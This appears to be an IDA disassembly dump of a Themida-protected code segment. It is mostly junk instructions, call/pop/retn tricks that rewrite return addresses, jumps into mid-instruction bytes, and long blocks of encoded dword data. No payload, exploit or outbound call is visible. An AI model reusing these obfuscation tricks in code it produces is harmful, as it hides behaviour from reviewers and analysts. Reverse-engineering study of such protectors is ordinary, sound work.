		dd 0DA8B6600h, 0E9525050h, 0Ah,	81F75CF0h, 3F7DA711h, 310FDBB1h
		dd 6840Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		mov	eax, [esp+4]
		mov	di, cx
		mov	eax, [eax]
		push	esi
		mov	bl, cl
		pop	edi
		mov	[esp+4], eax
		mov	edi, 165CF5C7h
		pop	eax
		push	0
		push	ebp
		call	sub_5CE1F4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE1F4	proc near		; CODE XREF: Themida_:005CE1ECp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5CE1F4	endp

; ---------------------------------------------------------------------------
		dec	ebx
		or	al, 63h
		js	short near ptr loc_5CE214+4
		mov	bh, 0DAh
		lea	eax, [ebp+7D4EA5Ah]
		push	0
		push	ebp


loc_5CE214:				; CODE XREF: Themida_:005CE207j
		call	sub_5CE21C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE21C	proc near		; CODE XREF: Themida_:loc_5CE214p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5CE21C	endp

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		push	esp
		dec	edx
		mov	ds:0E3AACAD6h, al
		push	eax
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5CE243
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE243	proc near		; CODE XREF: Themida_:005CE23Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5CE243	endp

; ---------------------------------------------------------------------------
		db 24h
		dd 5A0C74B5h, 89E7C6F3h, 0D11FA1BDh, 1595FF07h,	6607D12Bh
		dd 6A61FB8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0D9B2C353h, 0A1BD2B40h, 0F07D101h
		dd 85C7F8B7h, 7D11D39h,	3, 31EDBD89h, 0BD8307D1h, 7D4EA5Ah
		dd 4E840F00h, 8B000000h, 51D380FBh, 5FE9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0CDE04B4Bh, 60918831h, 17840Fh, 12E90000h, 7E000000h
		dd 0B1E3C9Dh, 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h, 0CBB70F31h
		dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	5AC35141h, 597A86D4h, 0A932A2CEh, 18BB6035h, 8B6229A2h
		dd 0BD8361F0h, 7D11D39h, 0E2850F03h, 66000003h,	0BD83FE8Bh
		dd 7D4EA5Ah, 0D2840F00h, 6A000003h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 485FC356h
		dd 24407AA7h, 10E988h, 0ACE70000h, 6FE55FBDh, 0CC5063E4h
		dd 68FAE62Bh, 0B5FF3024h, 7D4EA5Ah, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 7FC35343h, 0FB8B6653h, 0B195FF5Bh
		dd 6A07D12Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0AB67C351h, 8D893301h,	7D125A5h
		dd 0D9D2956h, 5F07D117h, 0EA4EB58Bh, 6A07D4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C8A9CFC3h
		dd 66504390h, 1C91FBBh,	0D130E19Dh, 106C707h, 0E9000100h
		dd 10h,	0F179C8D8h, 5D445FD6h, 69B1DD02h, 0AA53E051h, 0CC06BF96h
		dd 0BF507F8Ch, 6B2C5D75h, 51006A96h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0B359090Ch
		dd 6E8B7196h, 8B6694D9h, 5AB5FFF8h, 6A07D4EAh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 59F0C356h, 0FFF551C4h, 0D131A595h, 4EB58B07h, 0B707D4EAh
		dd 31858BE9h, 8907D12Bh, 0D12B9195h, 0C4868907h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0C7CFC356h, 0F381522Ch, 75914649h, 1B51958Bh
		dd 0C28307D1h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0FA513D8h, 1684h, 11E900h
		dd 7DB40000h, 232AF3FEh, 0FFC0B9A1h, 5A8405C0h,	8B31ACBBh
		dd 0D125699Dh, 20508907h, 7A13F5BFh, 0E5858D1Dh, 6A07D4FEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 1BC4C356h, 2A9D74A4h, 804652Dh, 18A0Fh, 89FC0000h
		dd 0B886h, 0CE900h, 88120000h, 4FF843B8h, 0D47C1A2Ch, 0E9609750h
		dd 12h,	0E724ADF9h, 0D341107Fh,	624605CAh, 7C659512h, 830F7669h
		dd 0
; ---------------------------------------------------------------------------
		popa
		push	0
		cmc
		push	dword ptr [ebp+7D4EA5Ah]
		or	[ebp+7D11C19h],	esi
		call	dword ptr [ebp+7D11DE9h]
		mov	edi, 755EFBB1h
		xchg	eax, esi
		push	eax
		mov	di, bx
		xchg	eax, esi
		movzx	ebx, ax
		mov	edi, [ebp+7D13449h]
		push	dword ptr [ebp+7D4EA5Ah]
		push	0
		push	edi
		call	sub_5CE60B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE60B	proc near		; CODE XREF: Themida_:005CE603p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5CE60B	endp

; ---------------------------------------------------------------------------
		mov	[edi+edi-2C6E8C2h], al
		call	dword ptr [ebp+7D12D9Dh]
		push	0
		push	ebp
		call	sub_5CE633
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE633	proc near		; CODE XREF: Themida_:005CE62Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CE633	endp

; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7D133C5h]
		jmp	loc_5CE65A
; ---------------------------------------------------------------------------
		db 0C5h
		dd 5B4B4h, 0F3BEC291h
; ---------------------------------------------------------------------------
		push	0FFFFFF9Ah


loc_5CE65A:				; CODE XREF: Themida_:005CE64Aj
		cmp	dword ptr [ebp+7D12809h], 0
		jz	loc_5CE6AF
		jmp	loc_5CE67A
; ---------------------------------------------------------------------------
		dd 4AD2DB64h, 3FE4CBF0h, 0F0E611DEh
		db 57h,	0F3h
; ---------------------------------------------------------------------------


loc_5CE67A:				; CODE XREF: Themida_:005CE667j
		push	eax
		mov	bl, 0B0h
		mov	[esp], esi
		push	0
		push	ebx
		call	sub_5CE68B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE68B	proc near		; CODE XREF: Themida_:005CE683p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5CE68B	endp

; ---------------------------------------------------------------------------
		cmp	al, 86h
		adc	dh, [ecx-31h]
		pop	ebp
		sub	edx, [ecx]
		add	edi, [ebp+7D11F8Dh]
		mov	[ebp+7D1288Dh],	edx


loc_5CE6AF:				; CODE XREF: Themida_:005CE661j
		push	dword ptr [ebp+7D4EA5Ah]


loc_5CE6B5:				; CODE XREF: Themida_:005CE727j
		xor	di, 8C03h
		call	dword ptr [ebp+7D132B5h]
		sbb	di, 0B585h
		push	dword ptr [ebp+7D4EA5Ah]
		push	0
		push	esi
		call	sub_5CE6D6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE6D6	proc near		; CODE XREF: Themida_:005CE6CEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5CE6D6	endp

; ---------------------------------------------------------------------------
		push	ds
		rcr	dword ptr [ecx], cl
		mov	esp, 0EB815225h
		fcomp	st(4)
		retf
; ---------------------------------------------------------------------------
		xor	ebx, [ebx-1]
		xchg	eax, ebp
		or	[edi], esp
		rol	dword ptr [edi], 1
		mov	[ebp+7D12C15h],	edi
		cmp	dword ptr [ebp+7D10FC1h], 2
		jz	loc_5CE75D
		push	0
		push	edi
		call	sub_5CE717
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE717	proc near		; CODE XREF: Themida_:005CE70Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5CE717	endp

; ---------------------------------------------------------------------------
		jo	short loc_5CE6B5
		mov	eax, [ebp+7D11E25h]
		mov	byte ptr [eax],	0
		push	0
		push	edx
		call	sub_5CE73D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE73D	proc near		; CODE XREF: Themida_:005CE735p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5CE73D	endp

; ---------------------------------------------------------------------------
		db 6Dh,	81h, 0AFh
		dd 9F714218h, 233F5BEEh, 0D1296DBDh
; ---------------------------------------------------------------------------
		pop	es


loc_5CE75D:				; CODE XREF: Themida_:005CE706j
		mov	dword ptr [ebp+7D122CDh], 0
		mov	edi, [ebp+7D106A9h]
		jmp	near ptr loc_5CDB1C+1
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CE77D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE77D	proc near		; CODE XREF: Themida_:005CE775p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CE77D	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		mov	ebx, 8BABD380h
		shr	dword ptr [edx+0], 57h
		call	sub_5CE7A0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE7A0	proc near		; CODE XREF: Themida_:005CE798p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CE7A0	endp

; ---------------------------------------------------------------------------
		dd 6E75197Ah, 712E7BA3h, 9BD2B33h, 0E907D107h, 2Ah, 790914ECh
		dd 9 dup(0)
		dd 6BE90000h, 6C000005h, 5441CE32h, 422FBC30h, 311EAB45h
		dd 1A079452h, 38F38078h, 0B5334F65h, 0A2583B28h, 8D6B2815h
		dd 77751300h, 9F5C48EAh, 19FE35CEh, 21300EF6h, 0B3A08563h
		dd 9F8C19D7h, 311E03E1h, 0C4B09553h, 0B5521BD8h, 0DB721228h
		dd 0C7255F4Ch, 52AEEEDBh, 0C772DEC3h, 45A3E158h, 0DACECBB8h
		dd 1DAA41BFh, 0B0955330h, 452AC0C3h, 0B02F19Ch,	0F7E3708Eh
		dd 82FDA293h, 5BEAD7A1h, 0EDD22E6Eh, 29A23A30h,	31E08B12h
		dd 768A0EFBh, 233F70E7h, 218539CEh, 91D43FF8h, 0CF2D6830h
		dd 0C2D6A938h, 0EA000000h, 0D2BCF486h, 0A7935AE8h, 292483EAh
		dd 1BAA4112h, 7936223Dh, 1228B4F4h, 0AEF0D88h, 0A837CE73h
		dd 4F52DDBBh, 0D1E02763h, 0CE321EB5h, 0CCE6DFF0h, 230897C0h
		dd 0C0AFD337h, 8AABC27Fh, 82191229h, 8F91D41Eh,	0E8284300h
		dd 34541228h, 0A5E6D3B8h, 0E590664Bh, 6381FF36h, 0AC50E77Eh
		dd 0E2B5D3C0h, 28E84825h, 4EE57C12h, 0A4E514BFh, 39CD690Bh
		dd 1D2h, 6721F400h, 0DDB7A489h,	4C21DECAh, 781228B5h, 0B54924E1h
		dd 6BBC1228h, 64534B65h, 7D14AB50h, 0CE0A491h, 9D5B3A27h
		dd 0A6927706h, 9120DEB9h, 2207E5A4h, 261C0BB6h,	65F07D3Ah
		dd 3DD41229h, 0D3C7C1AEh, 17A43BB1h, 18E6A2Ah, 87612123h
		dd 1DD3B5A2h, 1201AC38h, 6D2B7F1Bh, 0BCA15F39h,	0CA2A8E25h
		dd 594DC47Eh, 412EBB52h, 0D3C0A543h, 0C5573CB2h, 15AAEB1Ah
		dd 0E839CDABh, 0B2h, 8761210Ah,	1ED0B5A2h, 0E4894632h
		dd 0E01228B4h, 0C23E5C49h, 20614E33h, 95F4E1C6h, 0C9867257h
		dd 1228B4A4h, 721D8920h, 0CB76E283h, 0F5A5E55Ch, 36C35A94h
		dd 0CAAF4949h, 5B40BEDDh, 5879DDC9h, 13E57409h,	1FF9D8Ah
		dd 5758C772h, 39CD9D68h, 8095h,	6121B700h, 0B4995731h
		dd 0AE9A861Dh, 6C29C7C1h, 1228B501h, 0B89D2CC3h, 1EDBCECBh
		dd 1228B54Fh, 5B47DE75h, 931CB3F7h, 28E697D6h, 32962D12h
		dd 0C85704ACh, 5D93F6E3h, 0F2088B78h, 4AB9640Dh, 345617D4h
		dd 0D76E1229h, 0DD4CF740h, 0E8E7B67h, 343835F2h, 0F58C1229h
		dd 0DF197966h, 67217452h, 0CBB8A489h, 0B64D32C8h, 0B5006A27h
		dd 1AC51228h, 3605AAEBh, 6D839CDh, 0EC000000h, 0D96886FFh
		dd 346421FBh, 1BB29755h, 0B4FB722Fh, 32C91228h,	0D6C3AF9Bh
		dd 0C35A3FB1h, 28B46706h, 37C65D12h, 0C9276552h, 5D9BF7E4h
		dd 0F00E8B78h, 92F5A70Bh, 0B7718ADDh, 9A91802Bh, 0C36C03FDh
		dd 5532E918h, 4BE48946h, 49E01229h, 9E4B26E5h, 8118B56Bh
		dd 7F3466F4h, 6A01E604h, 0EFBE7D3h, 27E4738Dh, 19FAA587h
		dd 0D5C1A63Dh, 5C144071h, 0FBE76FB8h, 0FA3A2F3Eh, 6FFE9519h
		dd 0D4910282h, 19FA3999h, 70FD942Bh, 2E70583h, 0FA3A2645h
		dd 0A04FFA19h, 19772B69h, 5EA0485h, 0B340D76Eh,	452AC6C6h
		dd 0D7BC3858h, 0BA71A04Bh, 1A911EDAh, 419EBB95h, 14B48h
		dd 12806A00h, 5F9F03EFh, 3EB2371Ch, 2FECD867h, 19FA1DBFh
		dd 5815D2BEh, 6C19FA1Eh, 0AA146D5h, 9C583825h, 5236230Fh
		dd 62220F9Eh, 0EAAD9A86h, 9982F14h, 45593724h, 3217AE40h
		dd 0CECDBAA6h, 7F6A130h, 88747010h, 0F90E1924h,	67F6C68Dh
		dd 544C63DAh, 4591419Eh, 0B3000000h, 2EE1580h, 28B50845h
		dd 3925BC92h, 0B4DD904Dh, 50E79228h, 3F0DCC1h, 14591681h
		dd 0B09228B5h, 36F38219h, 9228B537h, 783705Ch, 0DE6D04E9h
		dd 0F9ACC433h, 0DC712E1Ah, 0E81228B4h, 0AD4CC451h, 6E000000h
		dd 99573522h, 1E0E7C0Ah, 553BB63h, 3CB0D47Dh, 9229C057h
		dd 0CACDBAA6h, 92E8A534h, 3219FA7Eh, 0CBC9B69Bh, 0D5B3A02Dh
		dd 0F3753217h, 2D19FA7Fh, 0F0335441h, 0B265544Dh, 0B948DF68h
		dd 68281F0Eh, 327BD337h, 0F910445Bh, 0FA9C313Ch, 65FC9319h
		dd 0B9584AD8h, 38F5E1CDh, 19FA9C35h, 890BF88Fh,	0C827E473h
		dd 0FC21D01Dh, 0DD74720Fh, 6F8D0BF8h, 93DA9783h, 3121D01Dh
		dd 6FDE67CDh, 7F16B071h, 8797D693h, 962D21D0h, 0CE792207h
		dd 0B65B475Fh, 4C21DECAh, 3121D088h, 0D087F974h, 8F34CB21h
		dd 0C07D69F8h, 29A6092Fh, 9371FE95h, 3EF1280h, 0FE36A946h
		dd 9F841B19h, 8916D2B2h, 1400FC9Ch, 37026B28h, 0D5C219FEh
		dd 17A63DB3h, 0CA657532h, 7D1798DAh, 0EBAD9A7Fh, 0DC873015h
		dd 35E04C2Dh, 0B3314FC6h, 9D5B3926h, 2ECCCBB8h,	6F5A049h
		dd 0E673710Fh, 785D9BF9h, 300h,	0E4C22200h, 9E837D21h
		dd 3015D3B1h, 0C3A84643h, 583DB3D6h, 0ECD12F6Bh, 806583FFh
		dd 11F6F493h, 0A88D6324h, 3E23D9BBh, 4EC816Fh, 89000000h
		dd 8953240Ch, 4C381E3h,	83000000h, 1C8704EBh, 2C895C24h
		dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 2434895Ch
		dd 0FE036ABDh, 49C5812Bh, 0D15ED45Eh, 34BF57E5h, 817BAE0Bh
		dd 7D4CE5EFh, 5FFD0189h, 24348B54h, 4C481h, 89570000h
		dd 8B850EFh, 1000000h, 583889F0h, 2434FF5Fh, 4C4835Eh
		dd 5D2434FFh, 4C481h, 71E90000h, 5EFFFBF7h, 2ED66EFEh
		dd 2B41B8A6h, 95080E85h, 97B88743h, 307D586h, 92E0FFC5h
		dd 0EE5E763Fh, 704C0541h, 0BD6C3333h, 7B2A1934h, 0B03CFF2Bh
		dd 0B320F7Ah, 6E277E42h, 591D7514h, 5A4B949Ah, 0FE7B54FEh
		dd 322AF9F9h, 2D214B41h, 3D6CA3A2h, 443A7F9Dh, 0BB1B7094h
		dd 0E65A4E3Eh, 4A43016Ch, 8C789F61h, 623E835Bh,	900CF93Fh
		dd 7D5D7F8Fh, 221F7294h, 30283BB2h, 627A86Fh, 985723CFh
		dd 15409113h, 26BA314h,	652D6D5Ah, 0E902429Ah, 27h, 3E3F2739h
		dd 8 dup(0)
		dd 0E9000000h, 4E3h, 28B52B53h,	16A3593Bh, 5926C29h, 0EE7B7918h
		dd 0DA678101h, 54367E1Fh, 67220F9Ch, 720FFC89h,	9AFAE774h
		dd 432FD15Eh, 0FE3BE786h, 17F5DD19h, 99856321h,	46F36E35h
		dd 0C9BF188h, 0D3583A27h, 87051DADh, 0C5A80CAEh, 26DECD55h
		dd 54402CC3h, 0FCC2A67h, 1229035Eh, 0E01E7966h,	3ECD64FBh
		dd 28C4C4B1h, 2E6A5743h, 0C756EDD2h, 593EBADAh,	0EFD4286Ch
		dd 0F229D883h, 0DCC95692h, 0C7B441BFh, 531AD7CAh, 71122904h
		dd 715E43DAh, 4AF3D816h, 0CDBA709Fh, 0B6A332CCh, 24C64ED5h
		dd 47ACA010h, 66CE6EE3h, 1DB43EEFh, 7E5A390h, 0D285B71Bh
		dd 80A194ADh, 76DA9DB5h, 0CA59682Ah, 5A4228E5h,	0D8831229h
		dd 0DB476829h, 539639CDh, 0B8000000h, 0A0856321h, 0DBCEC7B4h
		dd 28B54F1Eh, 47DE7512h, 7F3CCB62h, 1228B4ECh, 0BEFF2ED9h
		dd 39CD35F1h, 1ECh, 67210E00h, 2995733h, 4254301Dh, 220EA543h
		dd 0B4995735h, 0BCA98E1Dh, 0D82C52DDh, 0CB47D08Ah, 38E34F34h
		dd 0BA3652C9h, 0A440402Dh, 61213917h, 0D9379B87h, 376EF1A7h
		dd 0B29F8413h, 412E1AD6h, 3217A640h, 0C4A94745h, 503DBBD7h
		dd 0E3D0B533h, 0F5A049A7h, 0EDD96506h, 0D4638100h, 4743FA29h
		dd 512F1CA9h, 0DDBAA793h, 0C2AF9423h, 0B4462BC5h, 26991A09h
		dd 0D739CD91h, 5Bh, 0BA6121F9h,	0CA69EA4Dh, 13F88FADh
		dd 0AA8F6126h, 0AD64933Eh, 998613EDh, 2D1AFFF9h, 19AB906Eh
		dd 0C1FEBF6Eh, 3C39CDF6h, 6Eh, 0BA61215Eh, 4DCB2BE3h, 0CFBB5227h
		dd 724726E3h, 0E67D1229h, 4857257h, 11BC05EAh, 83402CE2h
		dd 122971EAh, 0C7B443DAh, 3DBBD7CBh, 213B19A6h,	0E7A48967h
		dd 1228B483h, 500D9CF9h, 1228B51Dh, 947910A7h, 0B482EBA8h
		dd 0AB421228h, 3D22DEBEh, 0AB0EC3D9h, 0BB47F49Ah, 0DC80E110h
		dd 5F4CC231h, 0BD34C321h, 39CD40F2h, 1EBh, 64210D00h, 49B5134h
		dd 9652321Fh, 28C4C4B1h, 0BB355643h, 709F4AD6h,	29052D42h
		dd 13AAD5F1h, 0D950BF6Ah, 27B542BCh, 0EDAA967Bh, 19FAC4C1h
		dd 9A876C03h, 2512FEFAh, 0EA58A64h, 8705F27Fh, 0AC988469h
		dd 0FAC47EEFh, 20AF4619h, 0FAC50863h, 0BE6D1819h, 0FFEB0987h
		dd 63207312h, 19FAC50Ah, 0A78C23BAh, 7F48110h, 99866B89h
		dd 8C18FDFBh, 10FC32E1h, 0FAC51A53h, 8413AA19h,	6EFBF997h
		dd 9F45B8F7h, 13E2541h,	80470000h, 1603EF12h, 3EF7E72h
		dd 0F9C8A846h, 0ABE8D519h, 8219BE4Dh, 0BFD0B09Dh, 0F9C86B02h
		dd 2BC25919h, 15D3B19Eh, 0A7454330h, 9C8B36C2h,	7C09E7A5h
		dd 9E49AA05h, 663341h, 80550000h, 4502EE15h, 9228B508h
		dd 37B5CFBCh, 0A557BB52h, 81490D37h, 21DEC35Ah,	9228E44Ch
		dd 0B4995730h, 492ECCC7h, 6FA65500h, 57EED311h,	0D03FEAC0h
		dd 3A26CDB8h, 28E3D07Dh, 8907F412h, 8BEF866Bh, 0BF3D7895h
		dd 0E1CD644Bh, 8FD3BC7Dh, 780FF4F2h, 15DA914h, 29692944h
		dd 6D049B12h, 9DD951DEh, 0FB000000h, 3EF1280h, 0EB249B9Fh
		dd 28F03F2Eh, 8AEE8512h, 6C2CDF19h, 7D14AB90h, 354502EEh
		dd 8F19FA1Ch, 63200CF8h, 19FA1C0Ah, 0AF9423BAh,	9926C2C2h
		dd 2B10ECACh, 0FA1CFA6Eh, 8C7B2619h, 0E5A3F795h, 1C78F5B2h
		dd 0B54C19FAh, 379B871Eh, 0E937281Fh, 72FF8E04h, 9FFDB6E4h
		dd 0F38F7C61h, 0E27910F5h, 69A25F4Bh, 5B21CFCCh, 6F3DFC4h
		dd 0F1DE6D83h, 6381FF93h, 3EFBE77Eh, 21CFCD2Fh,	8267FE95h
		dd 0A7FF2ED9h, 3E2A16FBh, 26B53351h, 0A554A269h, 9F8B2229h
		dd 3419D7B2h, 0A3810E9Dh, 3EF1280h, 0FE3CC546h,	8368FF19h
		dd 6DFAF696h, 0FFE40080h, 36A2713h, 0C119FE3Dh,	6EDE9B2Ah
		dd 8F53E8E8h, 9EFE35E4h, 0A8E8D562h, 795E92F6h,	79664BE2h
		dd 3F0DC1Ah, 7D731480h,	0DB6A0198h, 75614DF6h, 0E8E8B5B8h
		dd 0E9780F53h, 6C59CF3Eh, 5441D02Ch, 3E2BB834h,	45BDA25Eh
		dd 0Ch,	16BE2267h, 9FBD4052h, 0A987D362h, 9E837D21h, 3015D3B1h
		dd 0C3A84643h, 583DB3D6h, 0ECD12F6Bh, 806583FFh, 11F6F493h
		dd 0A88D6324h, 3E23D9BBh, 5B54536Fh, 4C381h, 0EB830000h
		dd 241C8704h, 2B62685Ch, 4890000h, 1C1B6824h, 34890000h
		dd 0B9BB5324h, 8141843Fh, 0DB6DE2E3h, 8EBC172h,	7A1C381h
		dd 58530795h, 348B545Bh, 4C48124h, 68000000h, 2F6Ch, 0BB241C89h
		dd 8, 389F301h,	24348B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 582434FFh, 0E904C483h, 0FFFBF1E0h, 0F9417674h, 4254A8B9h
		dd 4A08AD55h, 0B8759F9Eh, 7D58C2Fh, 0E0FFC503h,	315B18C8h
		dd 4A77B524h, 3543510h,	0C1B95FCh, 1345F855h, 6C771F07h
		dd 3EF51BFh, 292EFFE9h,	1361858Dh, 816607D1h, 504023DFh
		dd 0CE8h, 87548B00h, 2A6ECAB2h,	776DED50h, 4895BBBh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0CF00E35Eh, 19EC2AF2h, 6880Fh, 9D0B0000h, 7D11549h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0D5B567C3h, 0E993A797h, 0Dh, 0B1A539AFh
		dd 6342E241h, 32B99316h, 6AF92Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0DFC35242h,	0B87E7E4Ch, 8ED9858Dh
		dd 0B1BF07D5h, 830DC015h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 857C21C3h, 6471F949h
		dd 12E950h, 0FE550000h,	0B41A749Bh, 6C5C5793h, 37FF4D79h
		dd 0FE1A8674h, 0F240489h, 6ADBB7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0A5C35343h,	0F1DBD31h, 6A07D1h
		dd 0FF9BD8Bh, 95FF07D1h, 7D11DE1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 9C35141h, 2A25527Ah, 8D2330C5h
		dd 0D4D5668Dh, 0CF816607h, 0D1FF1A78h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 7FC35343h, 89079E42h, 0D12BEDB5h
		dd 15BD8307h, 107D117h,	75850Fh, 880F0000h, 4, 0A4E4BF66h
		dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 89D9C5C3h, 0D1296D85h, 0B6605007h, 61D88BB2h
		dd 89240489h, 0D10C7D8Dh, 0E995FF07h, 6A07D11Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 1491C352h, 8E48B0A2h, 0F577C0Bh, 68Fh, 0B5858900h, 0E907D105h
		dd 0D5Bh, 0E8h,	0ED815D00h, 7D58EE3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 45C35343h, 303BE573h, 817D9D99h
		dd 49D766F7h, 0D9D3336h, 8D07D109h, 0D4BC7785h,	0B58D8907h
		dd 9007D12Ah, 4E5D1DBFh, 5250506Bh, 0FFA8B66h, 28D0F31h
		dd 60000000h, 90585A61h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 89C35545h, 2C4EC847h,	58870A0Bh, 293D9D31h
		dd 0FF6407D1h, 35h, 0AE800h, 0A3960000h, 0DC5F5EA3h, 0F333B286h
		dd 5FD8BF0Fh, 258964h, 0E8000000h, 7, 0AE27D34Ch, 60E11394h
		dd 0EE9h, 271A1900h, 0B442ED0Fh, 82379D5Bh, 0E93D010Dh
		dd 0Ch,	6C14CB40h, 0F0011691h, 864A0078h, 85FF5B61h, 7D12921h
		dd 11E9h
		dd 0B37C0700h, 346046Bh, 7490C391h, 0CC330579h,	8166EEBCh
		dd 6A01FCEFh, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 26056A24h, 3DCB67D7h, 0FFC9B7C2h
		dd 0D118F5B5h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 939133D8h, 27789D62h
		dd 0CB8166BDh, 95FF3674h, 7D1141Dh, 119E9h, 0D5E7BF00h
		dd 0B01EE2h, 1FB5BD03h,	70E607D1h, 0BF71E4F5h, 19D0C3DFh
		dd 830F613Ch, 0FAh, 0B60FDA8Bh,	0EE960C8h, 86000000h, 0D7710A05h
		dd 0D8414788h, 0C24B1D9Eh, 0A5958B40h, 6107D116h, 6BAh
		dd 148C0F00h, 0E9000000h, 0Fh, 4E3E442Ah, 0B045CC0Ah, 0CFD01355h
		dd 8B264E42h, 24C780C1h, 8B04E8C1h, 0D120E19Dh,	0D88B6607h
		dd 89E2F766h, 0D11D1D85h, 89C82B07h, 0D117019Dh, 8BD98B07h
		dd 19D8BD1h, 0E907D12Ah, 0Ah, 85895656h, 7D120D9h, 858B5B5Fh
		dd 7D11479h, 1ACD8589h,	8B6007D1h, 0D110559Dh, 39958907h
		dd 6107D128h, 8B07C083h, 0D12F219Dh, 0C08307h, 31659D09h
		dd 8D3107D1h, 7D11145h,	830FD03Bh, 0Dh,	458589h, 3BE907D1h
		dd 0B7000000h, 0E58D8B09h, 907D120h, 0D11F3D9Dh, 1E18307h
		dd 24840Fh, 0BD8B0000h,	7D114C1h, 20E5A583h, 29FE07D1h
		dd 0D11DE585h, 79958907h, 307D114h, 0D1207DBDh,	0E907h
		dd 0B58D0000h, 7D50A25h, 10E9h,	6CB88B00h, 0E7CC4CB5h
